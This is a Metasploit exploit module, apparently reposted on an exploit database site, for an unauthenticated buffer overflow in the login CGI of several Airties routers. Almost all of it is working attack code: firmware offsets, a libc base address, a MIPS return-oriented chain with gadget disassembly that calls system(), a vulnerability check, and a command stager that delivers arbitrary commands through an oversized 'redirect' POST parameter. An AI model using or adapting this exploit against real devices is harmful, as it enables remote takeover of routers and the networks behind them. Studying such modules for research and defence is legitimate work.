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# Airties login-cgi Buffer Overflow Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Airties login-cgi Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow vulnerability on several Airties routers.
The vulnerability exists in the handling of HTTP queries to the login cgi with long
redirect parameters. The vulnerability doesn't require authentication. This module has
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
},
'Author' =>
[
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSBE,
'References' =>
[
['EDB', '36577'],
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
],
'Targets' =>
[
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
{
'Offset' => 359,
'LibcBase' => 0x2aad1000,
'RestoreReg' => 0x0003FE20, # restore s-registers
'System' => 0x0003edff, # address of system-1
'CalcSystem' => 0x000111EC, # calculate the correct address of system
'CallSystem' => 0x00041C10, # call our system
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
}
]
],
'DisclosureDate' => 'Mar 31 2015',
'DefaultTarget' => 0))

deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end

def check
begin
res = send_request_cgi({
'uri' => '/cgi-bin/login',
'method' => 'GET'
})

if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 100
)
end

def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset']) # padding
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values

# 0003FE20 lw $ra, 0x48+var_4($sp)
# 0003FE24 lw $s7, 0x48+var_8($sp)
# 0003FE28 lw $s6, 0x48+var_C($sp)
# 0003FE2C lw $s5, 0x48+var_10($sp)
# 0003FE30 lw $s4, 0x48+var_14($sp)
# 0003FE34 lw $s3, 0x48+var_18($sp)
# 0003FE38 lw $s2, 0x48+var_1C($sp)
# 0003FE3C lw $s1, 0x48+var_20($sp)
# 0003FE40 lw $s0, 0x48+var_24($sp)
# 0003FE44 jr $ra
# 0003FE48 addiu $sp, 0x48

shellcode << rand_text_alpha_upper(36) # padding
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system

# 00041C10 move $t9, $s0
# 00041C14 jalr $t9
# 00041C18 nop

shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system

# 000215B8 addiu $a0, $sp, 0x20
# 000215BC lw $ra, 0x1C($sp)
# 000215C0 jr $ra
# 000215C4 addiu $sp, 0x20

shellcode << rand_text_alpha_upper(28) # padding
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)

# 000111EC move $t9, $s5
# 000111F0 jalr $t9
# 000111F4 addiu $s0, 1

shellcode << cmd
end

def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/cgi-bin/login',
'encode_params' => false,
'vars_post' => {
'redirect' => shellcode,
'user' => rand_text_alpha(5),
'password' => rand_text_alpha(8)
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-06-12]

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